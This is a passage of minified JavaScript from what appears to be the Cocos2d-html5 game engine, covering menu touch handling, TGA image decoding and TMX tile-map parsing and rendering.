- b.Dn=b.fc.extend({enabled:!1,$d:null,Pd:0,Pc:null,zh:-1,fM:null,ub:"Menu",ctor:function(a){b.fc.prototype.ctor.call(this);this.$d=b.color.WHITE;this.enabled=!1;this.Pd=255;this.Pc=null;this.zh=-1;this.fM=b.ta.create({event:b.ta.Hn,hn:!0,Hi:this.eY,Ji:this.iY,Ii:this.gY,at:this.fY});0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");var c=arguments.length,d;if(0==c)d=[];else if(1==c)d=a instanceof Array?a:[a];else if(1<c){d=[];
- for(var e=0;e<c;e++)arguments[e]&&d.push(arguments[e])}this.kO(d)},aa:function(){var a=this.fM;a.ef||b.ra.addListener(a,this);b.m.prototype.aa.call(this)},Hg:function(){var a=this.$d;return b.color(a.r,a.g,a.b,a.a)},nb:function(a){var c=this.$d;c.r=a.r;c.g=a.g;c.b=a.b;if((c=this.u)&&0<c.length)for(var d=0;d<c.length;d++)c[d].nb(a);void 0===a.a||a.wM||this.Ta(a.a)},Ig:function(){return this.Pd},Ta:function(a){this.Pd=a;var c=this.u;if(c&&0<c.length)for(var d=0;d<c.length;d++)c[d].Ta(a);this.$d.a=a},
- isEnabled:function(){return this.enabled},qe:function(a){this.enabled=a},rF:function(a){var c=[];if(a)for(var d=0;d<a.length;d++)a[d]&&c.push(a[d]);return this.kO(c)},kO:function(a){if(b.fc.prototype.ba.call(this)){this.enabled=!0;var c=b.sf;this.T(c.width/2,c.height/2);this.Fd(c);this.nl(0.5,0.5);this.Bx(!0);if(a)for(c=0;c<a.length;c++)this.M(a[c],c);this.Pc=null;this.zh=b.xq;return this.cascadeOpacity=this.cascadeColor=!0}return!1},M:function(a,c,d){if(!(a instanceof b.yc))throw"cc.Menu.addChild() : Menu only supports MenuItem objects as children";
- b.fc.prototype.M.call(this,a,c,d)},Y$:function(){this.g_(b.$G)},g_:function(a){var c=-a,d=this.u,e,f,g,h;if(d&&0<d.length){f=0;for(e=d.length;f<e;f++)c+=d[f].height*d[f].scaleY+a;var k=c/2;f=0;for(e=d.length;f<e;f++)h=d[f],g=h.height,c=h.scaleY,h.T(0,k-g*c/2),k-=g*c+a}},V$:function(){this.f_(b.$G)},f_:function(a){var c=-a,d=this.u,e,f,g,h;if(d&&0<d.length){e=0;for(f=d.length;e<f;e++)c+=d[e].width*d[e].scaleX+a;var k=-c/2;e=0;for(f=d.length;e<f;e++)h=d[e],c=h.scaleX,g=d[e].width,h.T(k+g*c/2,0),k+=
- g*c+a}},W$:function(){0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");for(var a=[],c=0;c<arguments.length;c++)a.push(arguments[c]);var d=-5,e=0,f=0,g=0,h,k,m,p=this.u;if(p&&0<p.length)for(c=0,m=p.length;c<m;c++)e>=a.length||!(h=a[e])||(k=p[c].height,f=f>=k||isNaN(k)?f:k,++g,g>=h&&(d+=f+5,f=g=0,++e));var q=b.J.ya(),r=h=f=e=0,t=0,d=d/2;if(p&&0<p.length)for(c=0,m=p.length;c<m;c++){var s=p[c];0==h&&(h=a[e],t=r=q.width/(1+h));k=
- s.zk();f=f>=k||isNaN(k)?f:k;s.T(t-q.width/2,d-k/2);t+=r;++g;g>=h&&(d-=f+5,f=h=g=0,++e)}},X$:function(){0<arguments.length&&null==arguments[arguments.length-1]&&b.log("parameters should not be ending with null in Javascript");var a=[],c;for(c=0;c<arguments.length;c++)a.push(arguments[c]);var d=[],e=[],f=-10,g=-5,h=0,k=0,m=0,p,q,r,t,s=this.u;if(s&&0<s.length)for(c=0,r=s.length;c<r;c++)(q=s[c],h>=a.length||!(p=a[h]))||(t=q.width,k=k>=t||isNaN(t)?k:t,g+=q.height+5,++m,m>=p&&(d.push(k),e.push(g),f+=k+
- 10,k=m=0,g=-5,++h));g=b.J.ya();p=k=h=0;var f=-f/2,u=0;if(s&&0<s.length)for(c=0,r=s.length;c<r;c++)q=s[c],0==p&&(p=a[h],u=e[h]),t=q.fh(),k=k>=t||isNaN(t)?k:t,q.T(f+d[h]/2,u-g.height/2),u-=q.height+10,++m,m>=p&&(f+=k+5,k=p=m=0,++h)},removeChild:function(a,c){null!=a&&(a instanceof b.yc?(this.Pc==a&&(this.Pc=null),b.m.prototype.removeChild.call(this,a,c)):b.log("cc.Menu.removeChild():Menu only supports MenuItem objects as children"))},eY:function(a,c){var d=c.Wc;if(d.zh!=b.xq||!d.Zb||!d.enabled)return!1;
- for(var e=d.parent;null!=e;e=e.parent)if(!e.Zb)return!1;d.Pc=d.UK(a);return d.Pc?(d.zh=b.wq,d.Pc.selected(),!0):!1},gY:function(a,c){var d=c.Wc;d.zh!==b.wq?b.log("cc.Menu.onTouchEnded(): invalid state"):(d.Pc&&(d.Pc.Qh(),d.Pc.ss()),d.zh=b.xq)},fY:function(a,c){var d=c.Wc;d.zh!==b.wq?b.log("cc.Menu.onTouchCancelled(): invalid state"):(this.Pc&&d.Pc.Qh(),d.zh=b.xq)},iY:function(a,c){var d=c.Wc;if(d.zh!==b.wq)b.log("cc.Menu.onTouchMoved(): invalid state");else{var e=d.UK(a);e!=d.Pc&&(d.Pc&&d.Pc.Qh(),
- d.Pc=e,d.Pc&&d.Pc.selected())}},xb:function(){this.zh==b.wq&&(this.Pc&&(this.Pc.Qh(),this.Pc=null),this.zh=b.xq);b.m.prototype.xb.call(this)},rf:function(){},Uf:function(){return!1},UK:function(a){a=a.Is();var c=this.u,d;if(c&&0<c.length)for(var e=0;e<c.length;e++)if(d=c[e],d.Zb&&d.isEnabled()){var f=d.AE(a),g=d.rect();g.x=0;g.y=0;if(b.kP(g,f))return d}return null}});n=b.Dn.prototype;
- b.Dn.create=function(a){var c=arguments.length;0<c&&null==arguments[c-1]&&b.log("parameters should not be ending with null in Javascript");return 0==c?new b.Dn:1==c?new b.Dn(a):new b.Dn(Array.prototype.slice.call(arguments,0))};b.j9=0;b.f9=1;b.i9=2;b.g9=3;b.h9=4;b.e9=5;b.Mla=function(a,c,d){var e=2;if(e+1>c)return!1;a=new b.XQ(a);a.Fy(e);d.type=a.S();e+=10;if(e+4+1>c)return!1;a.Fy(e);d.width=a.q4();d.height=a.p4();d.pixelDepth=a.S();if(e+5+1>c)return!1;c=a.S();d.xN=0;c&32&&(d.xN=1);return!0};b.Nla=function(a,c,d){var e,f;e=0|d.pixelDepth/2;f=d.height*d.width*e;if(18+f>c)return!1;d.mf=b.Lu(a,18,18+f);if(3<=e)for(a=0;a<f;a+=e)c=d.mf[a],d.mf[a]=d.mf[a+2],d.mf[a+2]=c;return!0};
- b.Pla=function(a){var c,d;if(8!==a.pixelDepth){var e=a.pixelDepth/8,f=new Uint8Array(a.height*a.width);if(null!==f){for(d=c=0;d<a.width*a.height;c+=e,d++)f[d]=0.3*a.mf[c]+0.59*a.mf[c+1]+0.11*a.mf[c+2];a.pixelDepth=8;a.type=3;a.mf=f}}};b.Kla=function(a){a&&(a.mf=null)};
- b.Ola=function(a,c,d){var e,f,g,h=0,k=0,m=0,p=[],q=0,r=18;e=d.pixelDepth/8;f=d.height*d.width;for(g=0;g<f;g++){if(0!=q)q--,k=0!=m;else{if(r+1>c)break;q=a[r];r+=1;(m=q&128)&&(q-=128);k=0}if(!k){if(r+e>c)break;p=b.Lu(a,r,r+e);r+=e;3<=e&&(k=p[0],p[0]=p[2],p[2]=k)}for(k=0;k<e;k++)d.mf[h+k]=p[k];h+=e}return!0};b.Lla=function(a){for(var c=a.pixelDepth/8*a.width,d=0;d<a.height/2;d++){var e=b.Lu(a.mf,d*c,d*c+c);b.cJ(b.Lu(a.mf,(a.height-(d+1))*c,c),a.mf,d*c);b.cJ(e,a.mf,(a.height-(d+1))*c)}a.xN=0};
- b.Lu=function(a,c,d){return a instanceof Array?a.slice(c,d):a.subarray(c,d)};b.cJ=function(a,c,d){for(var e=0;e<a.length;e++)c[d+e]=a[e]};
- b.XQ=b.oa.extend({Mn:null,wa:0,ctor:function(a){this.Mn=a},uja:function(a){this.Mn=a;this.wa=0},$ba:function(){return this.Mn},XV:function(a){if(!(this.wa+Math.ceil(a/8)<this.bo.length))throw Error("Index out of bound");},mW:function(a,c){var d=a+c+1,e=d>>3;this.XV(d);var d=Math.pow(2,c-1)-1,f=this.OC(a+c,1,e),g=this.OC(a,c,e),h=0,k=2,m=0;do for(var p=this.fw(++m,e),q=a%8||8,r=1<<q;r>>=1;)p&r&&(h+=1/k),k*=2;while(a-=q);this.wa+=e;return g==(d<<1)+1?h?NaN:f?-Infinity:Infinity:(1+-2*f)*(g||h?g?Math.pow(2,
- g-d)*(1+h):Math.pow(2,-d+1)*h:0)},fw:function(a,c){return this.bo[this.wa+c-a-1]},ev:function(a,c){var d=this.OC(0,a,a/8),e=Math.pow(2,a);this.wa+=a/8;return c&&d>=e/2?d-e:d},rZ:function(a,c){for(++c;--c;a=1073741824==((a%=2147483648)&1073741824)?2*a:2*(a-1073741824)+2147483648);return a},OC:function(a,c,d){var e=(a+c)%8,f=a%8,g=d-(a>>3)-1;a=d+(-(a+c)>>3);var h=g-a;c=this.fw(g,d)>>f&(1<<(h?8-f:c))-1;for(h&&e&&(c+=(this.fw(a++,d)&(1<<e)-1)<<(h--<<3)-f);h;)c+=this.rZ(this.fw(a++,d),(h--<<3)-f);return c},
- zia:function(){return this.ev(32,!0)},p4:function(){return this.ev(32,!1)},Bia:function(){return this.mW(23,8)},Aia:function(){return this.ev(16,!0)},q4:function(){return this.ev(16,!1)},S:function(){var a=this.bo[this.wa];this.wa+=1;return a},wia:function(a,c){return this.Mn instanceof Array?this.Mn.slice(a,c):this.Mn.subarray(a,c)},Fy:function(a){this.wa=a},Um:function(){return this.wa}});b.yu=0;b.Hl=1;b.xu=2;
- b.lA=b.m.extend({Gb:null,MF:null,Fp:null,Zc:null,Fb:null,vj:null,ub:"TMXTiledMap",ctor:function(a,c){b.m.prototype.ctor.call(this);this.Zc=b.size(0,0);this.Fb=b.size(0,0);void 0!==c?this.uF(a,c):void 0!==a&&this.tF(a)},ZE:function(){return b.size(this.Zc.width,this.Zc.height)},OP:function(a){this.Zc.width=a.width;this.Zc.height=a.height},RB:function(){return this.Zc.width},gD:function(a){this.Zc.width=a},QB:function(){return this.Zc.height},fD:function(a){this.Zc.height=a},sp:function(){return b.size(this.Fb.width,this.Fb.height)},
- dQ:function(a){this.Fb.width=a.width;this.Fb.height=a.height},xr:function(){return this.Fb.width},Yr:function(a){this.Fb.width=a},wr:function(){return this.Fb.height},Xr:function(a){this.Fb.height=a},fda:function(){return this.MF},jka:function(a){this.MF=a},IN:function(){return this.Fp},PP:function(a){this.Fp=a},px:function(){return this.Gb},Hy:function(a){this.Gb=a},tF:function(a){if(!a||0==a.length)throw"cc.TMXTiledMap.initWithTMXFile(): tmxFile should be non-null or non-empty string.";this.height=
- this.width=0;a=b.Lq.create(a);if(!a)return!1;var c=a.um;c&&0!==c.length||b.log("cc.TMXTiledMap.initWithTMXFile(): Map not found. Please check the filename.");this.nJ(a);return!0},uF:function(a,c){this.height=this.width=0;var d=b.Lq.create(a,c),e=d.um;e&&0!==e.length||b.log("cc.TMXTiledMap.initWithXML(): Map not found. Please check the filename.");this.nJ(d);return!0},nJ:function(a){this.Zc=a.ZE();this.Fb=a.sp();this.MF=a.orientation;this.Fp=a.IN();this.Gb=a.Gb;this.vj=a.vj;var c=0,d=a.de;if(d)for(var e=
- null,f=0,g=d.length;f<g;f++)(e=d[f])&&e.visible&&(e=this.oY(e,a),this.M(e,c,c),this.width=Math.max(this.width,e.width),this.height=Math.max(this.height,e.height),c++)},Z$:function(){for(var a=[],c=this.u,d=0,e=c.length;d<e;d++){var f=c[d];f&&f instanceof b.Kq&&a.push(f)}return a},Wca:function(a){if(!a||0===a.length)throw"cc.TMXTiledMap.getLayer(): layerName should be non-null or non-empty string.";for(var c=this.u,d=0;d<c.length;d++){var e=c[d];if(e&&e.Zx==a)return e}return null},oda:function(a){if(!a||
- 0===a.length)throw"cc.TMXTiledMap.getObjectGroup(): groupName should be non-null or non-empty string.";if(this.Fp)for(var c=0;c<this.Fp.length;c++){var d=this.Fp[c];if(d&&d.Ms==a)return d}return null},cF:function(a){return this.Gb[a.toString()]},sia:function(a){b.log("propertiesForGID is deprecated. Please use getPropertiesForGID instead.");return this.K1[a]},K1:function(a){return this.vj[a]},oY:function(a,c){var d=this.EZ(a,c),d=b.Kq.create(d,a,c);a.YO=!1;d.S5();return d},EZ:function(a,c){var d=
- a.qa,e=c.um;if(e)for(var f=e.length-1;0<=f;f--){var g=e[f];if(g)for(var h=0;h<d.height;h++)for(var k=0;k<d.width;k++){var m=a.Ge[k+d.width*h];if(0!=m&&(m&b.mA)>>>0>=g.Pm)return g}}b.log("cocos2d: Warning: TMX Layer "+a.name+" has no tiles");return null}});n=b.lA.prototype;b.j(n,"mapWidth",n.RB,n.gD);b.j(n,"mapHeight",n.QB,n.fD);b.j(n,"tileWidth",n.xr,n.Yr);b.j(n,"tileHeight",n.wr,n.Xr);b.lA.create=function(a,c){return new b.lA(a,c)};b.sU=0;b.m9=1;b.l9=2;b.o9=3;b.n9=4;b.p9=5;b.Mq=2147483648;b.Nq=1073741824;b.gI=536870912;b.hI=(b.Mq|b.Nq|b.gI)>>>0;b.mA=~b.hI>>>0;b.Gl=b.oa.extend({Gb:null,name:"",qa:null,Ge:null,visible:null,Pd:null,YO:!0,$l:1E5,Zl:0,offset:null,ctor:function(){this.Gb=[];this.name="";this.qa=null;this.Ge=[];this.visible=!0;this.Pd=0;this.YO=!0;this.$l=1E5;this.Zl=0;this.offset=b.d(0,0)},px:function(){return this.Gb},Hy:function(a){this.Gb=a}});
- b.rU=b.oa.extend({name:"",Pm:0,Fb:null,ut:0,margin:0,hQ:"",Cx:null,ctor:function(){this.Fb=b.size(0,0);this.Cx=b.size(0,0)},jt:function(a){var c=b.rect(0,0,0,0);c.width=this.Fb.width;c.height=this.Fb.height;a&=b.mA;a-=parseInt(this.Pm,10);var d=parseInt((this.Cx.width-2*this.margin+this.ut)/(this.Fb.width+this.ut),10);c.x=parseInt(a%d*(this.Fb.width+this.ut)+this.margin,10);c.y=parseInt(parseInt(a/d,10)*(this.Fb.height+this.ut)+this.margin,10);return c}});
- b.Lq=b.pu.extend({Gb:null,orientation:null,parentElement:null,my:null,Yx:0,EG:!1,Wp:null,DE:null,Sv:null,Zc:null,Fb:null,de:null,um:null,vj:null,jw:"",vJ:0,ctor:function(a,c){b.pu.prototype.ctor.apply(this);this.Zc=b.size(0,0);this.Fb=b.size(0,0);this.de=[];this.um=[];this.Sv=[];this.Gb=[];this.vj={};this.vJ=0;void 0!==c?this.uF(a,c):void 0!==a&&this.tF(a)},rda:function(){return this.orientation},rka:function(a){this.orientation=a},ZE:function(){return b.size(this.Zc.width,this.Zc.height)},OP:function(a){this.Zc.width=
- a.width;this.Zc.height=a.height},RB:function(){return this.Zc.width},gD:function(a){this.Zc.width=a},QB:function(){return this.Zc.height},fD:function(a){this.Zc.height=a},sp:function(){return b.size(this.Fb.width,this.Fb.height)},dQ:function(a){this.Fb.width=a.width;this.Fb.height=a.height},xr:function(){return this.Fb.width},Yr:function(a){this.Fb.width=a},wr:function(){return this.Fb.height},Xr:function(a){this.Fb.height=a},ada:function(){return this.de},j5:function(a){this.de.push(a)},gea:function(){return this.um},
- J5:function(a){this.um.push(a)},IN:function(){return this.Sv},PP:function(a){this.Sv.push(a)},vda:function(){return this.parentElement},wka:function(a){this.parentElement=a},wda:function(){return this.my},xka:function(a){this.my=a},Xca:function(){return this.Yx},cka:function(a){this.Yx=a},Xda:function(){return this.EG},Oka:function(a){this.EG=a},px:function(){return this.Gb},Hy:function(a){this.Gb=a},tF:function(a){this.KK(a,null);return this.RF(a)},uF:function(a,c){this.KK(null,c);return this.W3(a)},
- RF:function(a,c){var d=(c=c||!1)?a:b.V.Cd(a);if(!d)throw"Please load the resource first : "+a;var e,f,d=this.wC(d).documentElement;e=d.getAttribute("version");f=d.getAttribute("orientation");if("map"==d.nodeName&&("1.0"!=e&&null!==e&&b.log("cocos2d: TMXFormat: Unsupported TMX version:"+e),"orthogonal"==f?this.orientation=b.yu:"isometric"==f?this.orientation=b.xu:"hexagonal"==f?this.orientation=b.Hl:null!==f&&b.log("cocos2d: TMXFomat: Unsupported orientation:"+f),e=b.size(0,0),e.width=parseFloat(d.getAttribute("width")),
- e.height=parseFloat(d.getAttribute("height")),this.OP(e),e=b.size(0,0),e.width=parseFloat(d.getAttribute("tilewidth")),e.height=parseFloat(d.getAttribute("tileheight")),this.dQ(e),f=d.querySelectorAll("map \x3e properties \x3e property"))){var g={};for(e=0;e<f.length;e++)g[f[e].getAttribute("name")]=f[e].getAttribute("value");this.Gb=g}g=d.getElementsByTagName("tileset");"map"!==d.nodeName&&(g=[],g.push(d));for(e=0;e<g.length;e++){f=g[e];var h=f.getAttribute("source");if(h)f=c?b.path.join(this.jw,
- h):b.path.$o(a,h),this.RF(f);else{h=new b.rU;h.name=f.getAttribute("name")||"";h.Pm=parseInt(f.getAttribute("firstgid"))||0;h.ut=parseInt(f.getAttribute("spacing"))||0;h.margin=parseInt(f.getAttribute("margin"))||0;var k=b.size(0,0);k.width=parseFloat(f.getAttribute("tilewidth"));k.height=parseFloat(f.getAttribute("tileheight"));h.Fb=k;var k=f.getElementsByTagName("image")[0].getAttribute("source"),m=-1;this.Wp&&(m=this.Wp.lastIndexOf("/"));h.hQ=-1!==m?this.Wp.substr(0,m+1)+k:this.jw+(this.jw?"/":
- "")+k;this.J5(h);if(k=f.getElementsByTagName("tile"))for(m=0;m<k.length;m++){f=k[m];this.my=parseInt(h.Pm)+parseInt(f.getAttribute("id")||0);var p=f.querySelectorAll("properties \x3e property");if(p){var q={};for(f=0;f<p.length;f++){var r=p[f].getAttribute("name");q[r]=p[f].getAttribute("value")}this.vj[this.my]=q}}}}if(g=d.getElementsByTagName("layer"))for(e=0;e<g.length;e++){k=g[e];m=k.getElementsByTagName("data")[0];h=new b.Gl;h.name=k.getAttribute("name");f=b.size(0,0);f.width=parseFloat(k.getAttribute("width"));
- f.height=parseFloat(k.getAttribute("height"));h.qa=f;f=k.getAttribute("visible");h.visible="0"!=f;f=k.getAttribute("opacity")||1;h.Pd=f?parseInt(255*parseFloat(f)):255;h.offset=b.d(parseFloat(k.getAttribute("x"))||0,parseFloat(k.getAttribute("y"))||0);p="";for(f=0;f<m.childNodes.length;f++)p+=m.childNodes[f].nodeValue;p=p.trim();f=m.getAttribute("compression");q=m.getAttribute("encoding");if(f&&"gzip"!==f&&"zlib"!==f)return b.log("cc.TMXMapInfo.parseXMLFile(): unsupported compression method"),null;
- switch(f){case "gzip":h.Ge=b.CQ(p,4);break;case "zlib":f=new Zlib.yn(b.ja.vl.ZM(p,1));h.Ge=b.H6(f.$M());break;case null:case "":if("base64"==q)h.Ge=b.ja.vl.ZM(p,4);else if("csv"===q)for(h.Ge=[],f=p.split(","),m=0;m<f.length;m++)h.Ge.push(parseInt(f[m]));else for(f=m.getElementsByTagName("tile"),h.Ge=[],m=0;m<f.length;m++)h.Ge.push(parseInt(f[m].getAttribute("gid")));break;default:this.Yx==b.Gl.MG&&b.log("cc.TMXMapInfo.parseXMLFile(): Only base64 and/or gzip/zlib maps are supported")}if(k=k.querySelectorAll("properties \x3e property")){m=
- {};for(f=0;f<k.length;f++)m[k[f].getAttribute("name")]=k[f].getAttribute("value");h.Gb=m}this.j5(h)}if(g=d.getElementsByTagName("objectgroup"))for(e=0;e<g.length;e++){k=g[e];h=new b.qU;h.Ms=k.getAttribute("name");h.v5(b.d(parseFloat(k.getAttribute("x"))*this.sp().width||0,parseFloat(k.getAttribute("y"))*this.sp().height||0));if(m=k.querySelectorAll("objectgroup \x3e properties \x3e property"))for(f=0;f<m.length;f++)p={},p[m[f].getAttribute("name")]=m[f].getAttribute("value"),h.Gb=p;if(k=k.querySelectorAll("object"))for(f=
- 0;f<k.length;f++){p=k[f];m={};m.name=p.getAttribute("name")||"";m.type=p.getAttribute("type")||"";m.x=parseInt(p.getAttribute("x")||0)+h.KN().x;q=parseInt(p.getAttribute("y")||0)+h.KN().y;m.width=parseInt(p.getAttribute("width"))||0;m.height=parseInt(p.getAttribute("height"))||0;m.y=parseInt(this.ZE().height*this.sp().height)-q-m.height;if(q=p.querySelectorAll("properties \x3e property"))for(r=0;r<q.length;r++)m[q[r].getAttribute("name")]=q[r].getAttribute("value");(q=p.querySelectorAll("polygon"))&&
- 0<q.length&&(q=q[0].getAttribute("points"))&&(m.polygonPoints=this.nL(q));(p=p.querySelectorAll("polyline"))&&0<p.length&&(p=p[0].getAttribute("points"))&&(m.polylinePoints=this.nL(p));h.q5(m)}this.PP(h)}return d},nL:function(a){if(!a)return null;var c=[];a=a.split(" ");for(var d=0;d<a.length;d++){var e=a[d].split(",");c.push({x:e[0],y:e[1]})}return c},W3:function(a){return this.RF(a,!0)},dea:function(){return this.vj},Wka:function(a){this.vj.push(a)},oca:function(){return this.DE},Hja:function(a){this.DE=
- a},Zda:function(){return this.Wp},Rka:function(a){this.Wp=a},KK:function(a,c){this.um.length=0;this.de.length=0;this.Wp=a;c&&(this.jw=c);this.Sv.length=0;this.Gb.length=0;this.vj.length=0;this.DE="";this.EG=!1;this.Yx=b.Gl.MG;this.parentElement=b.sU;this.vJ=0}});n=b.Lq.prototype;b.j(n,"mapWidth",n.RB,n.gD);b.j(n,"mapHeight",n.QB,n.fD);b.j(n,"tileWidth",n.xr,n.Yr);b.j(n,"tileHeight",n.wr,n.Xr);b.Lq.create=function(a,c){return new b.Lq(a,c)};b.V.Pj(["tmx","tsx"],b.jM);b.Gl.MG=1;b.Gl.j7=2;b.Gl.k7=4;
- b.Gl.l7=8;b.qU=b.oa.extend({Gb:null,Ms:"",bw:null,Fo:null,ctor:function(){this.Ms="";this.bw=b.d(0,0);this.Gb=[];this.Fo=[]},KN:function(){return b.d(this.bw)},v5:function(a){this.bw.x=a.x;this.bw.y=a.y},px:function(){return this.Gb},Hy:function(a){this.Gb.push(a)},Rca:function(){return this.Ms.toString()},$ja:function(a){this.Ms=a},tia:function(a){return this.Gb[a]},Hha:function(a){if(this.Fo&&0<this.Fo.length)for(var c=this.Fo,d=0,e=c.length;d<e;d++){var f=c[d].name;if(f&&f==a)return c[d]}return null},pda:function(){return this.Fo},
- q5:function(a){this.Fo.push(a)}});b.Kq=b.te.extend({Id:null,eg:null,Ij:null,Gb:null,Zx:"",qa:null,Ub:null,Pd:255,$l:null,Zl:null,WD:null,QD:null,N9:null,qh:null,Ld:null,dh:null,Wd:null,Xd:null,iB:null,yw:null,zw:null,Sk:0,Aw:0,fL:1E7,ub:"TMXLayer",ctor:function(a,c,d){b.te.prototype.ctor.call(this);this.xd=[];this.qa=b.size(0,0);this.Ub=b.size(0,0);if(b.B===b.Aa){var e=b.Wa,f=b.Rb("canvas");f.width=e.width;f.height=e.height;this.Wd=f;this.Xd=this.Wd.getContext("2d");var g=new b.da;g.Rc(f);g.sb();this.iB=g;this.width=e.width;this.height=
- e.height;this.Tn=this}void 0!==d&&this.z2(a,c,d)},Fd:function(a,c){var d=this.Q;b.m.prototype.Fd.call(this,a,c);if(b.B===b.Aa){var e=this.Wd,f=b.pb();e.width=0|1.5*d.width*f;e.height=0|1.5*d.height*f;this.Ij===b.Hl?this.Xd.translate(0,e.height-0.5*this.Ub.height):this.Xd.translate(0,e.height);d=this.iB.Q;d.width=e.width;d.height=e.height;d=e.width*e.height;if(d>this.fL){this.yw||(this.yw=[]);this.zw||(this.zw=[]);this.Sk=Math.ceil(d/this.fL);d=this.yw;for(f=0;f<this.Sk;f++){d[f]||(d[f]=document.createElement("canvas"),
- this.zw[f]=d[f].getContext("2d"));var g=d[f];g.width=this.Aw=Math.round(e.width/this.Sk);g.height=e.height}for(f=this.Sk;f<d.length;f++)g.width=0,g.height=0}else this.Sk=0}},Ca:null,vr:function(){return this.iB},U:null,zm:function(a){var c=a||b.l;if(this.Zb){c.save();this.transform(a);var d,e=this.u;if(this.rg){var f=b.view;f.qw();var g=this.Xd,h=this.Wd;g.clearRect(0,0,h.width,-h.height);g.save();g.translate(this.Ab.x,-this.Ab.y);if(e)for(this.Sc(),d=0;d<e.length;d++)e[d]&&e[d].U(g);g.restore();
- if(0<this.Sk)for(e=this.Aw,g=h.height,d=0;d<this.Sk;d++)this.zw[d].drawImage(h,d*e,0,e,g,0,0,e,g);f.iw();this.rg=!1}this.Z(a);c.restore()}},Z:null,Ql:function(a){a=a||b.l;var c=0|-this.Ab.x,d=0|-this.Ab.y,e=b.view,f=this.Wd;if(f){var g=this.Sk,h=f.height*e.La,k=0.5*this.Ub.height*e.La;if(0<g)for(var f=this.yw,m=0;m<g;m++){var p=f[m];this.Ij===b.Hl?a.drawImage(f[m],0,0,p.width,p.height,c+m*this.Aw,-(d+h)+k,p.width*e.ka,h):a.drawImage(f[m],0,0,p.width,p.height,c+m*this.Aw,-(d+h),p.width*e.ka,h)}else this.Ij===
- b.Hl?a.drawImage(f,0,0,f.width,f.height,c,-(d+h)+k,f.width*e.ka,h):a.drawImage(f,0,0,f.width,f.height,c,-(d+h),f.width*e.ka,h)}},$ca:function(){return b.size(this.qa.width,this.qa.height)},fka:function(a){this.qa.width=a.width;this.qa.height=a.height},ZW:function(){return this.qa.width},UY:function(a){this.qa.width=a},YW:function(){return this.qa.height},TY:function(a){this.qa.height=a},gda:function(){return b.size(this.Ub.width,this.Ub.height)},kka:function(a){this.Ub.width=a.width;this.Ub.height=
- a.height},xr:function(){return this.Ub.width},Yr:function(a){this.Ub.width=a},wr:function(){return this.Ub.height},Xr:function(a){this.Ub.height=a},eea:function(){return this.Id},Xka:function(a){this.Id=a},fea:function(){return this.eg},Yka:function(a){this.eg=a},Zca:function(){return this.Ij},eka:function(a){this.Ij=a},px:function(){return this.Gb},Hy:function(a){this.Gb=a},z2:function(a,c,d){var e=c.qa,f=0.35*parseInt(e.width*e.height)+1,g;a&&(g=b.Ea.Dc(a.hQ));return this.sa(g,f)?(this.Zx=c.name,
- this.qa=e,this.Id=c.Ge,this.$l=c.$l,this.Zl=c.Zl,this.Pd=c.Pd,this.Gb=c.Gb,this.dh=b.J.dh,this.eg=a,this.Ub=d.sp(),this.Ij=d.orientation,a=this.RV(c.offset),this.T(b.TF(a)),this.Ld=[],this.Fd(b.gQ(b.size(this.qa.width*this.Ub.width,this.qa.height*this.Ub.height))),this.QD=!1,this.WD=0,!0):!1},Jia:function(){this.Id&&(this.Id=null);this.Ld&&(this.Ld=null)},cea:function(a,c){if(!a)throw"cc.TMXLayer.getTileAt(): pos should be non-null";void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||
- 0>a.x||0>a.y)throw"cc.TMXLayer.getTileAt(): invalid position";if(!this.Id||!this.Ld)return b.log("cc.TMXLayer.getTileAt(): TMXLayer: the tiles map has been released"),null;var d=null,e=this.hF(a);if(0===e)return d;var f=0|a.x+a.y*this.qa.width,d=this.Hh(f);d||(e=this.eg.jt(e),e=b.ml(e),d=new b.D,d.sa(this.texture,e),d.batchNode=this,d.T(this.ox(a)),d.vertexZ=this.tM(a),d.anchorX=0,d.anchorY=0,d.opacity=this.Pd,e=this.ZA(f),this.$Z(d,e,f));return d},hF:function(a,c){if(!a)throw"cc.TMXLayer.getTileGIDAt(): pos should be non-null";
- void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileGIDAt(): invalid position";return this.Id&&this.Ld?(this.Id[0|a.x+a.y*this.qa.width]&b.mA)>>>0:(b.log("cc.TMXLayer.getTileGIDAt(): TMXLayer: the tiles map has been released"),null)},Z1:function(a,c){if(!a)throw"cc.TMXLayer.getTileFlagsAt(): pos should be non-null";void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||0>a.x||0>a.y)throw"cc.TMXLayer.getTileFlagsAt(): invalid position";
- return this.Id&&this.Ld?(this.Id[0|a.x+a.y*this.qa.width]&b.hI)>>>0:(b.log("cc.TMXLayer.getTileFlagsAt(): TMXLayer: the tiles map has been released"),null)},Vka:function(a,c,d,e){if(!c)throw"cc.TMXLayer.setTileGID(): pos should be non-null";void 0!==e?c=b.d(c,d):e=d;if(c.x>=this.qa.width||c.y>=this.qa.height||0>c.x||0>c.y)throw"cc.TMXLayer.setTileGID(): invalid position";if(this.Id&&this.Ld)if(0!==a&&a<this.eg.Pm)b.log("cc.TMXLayer.setTileGID(): invalid gid:"+a);else{e=e||0;this.ri();d=this.Z1(c);
- var f=this.hF(c);if(f!=a||d!=e)if(d=(a|e)>>>0,0===a)this.z4(c);else if(0===f)this.IX(d,c);else{var f=c.x+c.y*this.qa.width,g=this.Hh(f);g?(a=this.eg.jt(a),a=b.ml(a),g.qb(a,!1),null!=e&&this.rw(g,c,d),this.Id[f]=d):this.QZ(d,c)}}else b.log("cc.TMXLayer.setTileGID(): TMXLayer: the tiles map has been released")},z4:function(a,c){if(!a)throw"cc.TMXLayer.removeTileAt(): pos should be non-null";void 0!==c&&(a=b.d(a,c));if(a.x>=this.qa.width||a.y>=this.qa.height||0>a.x||0>a.y)throw"cc.TMXLayer.removeTileAt(): invalid position";
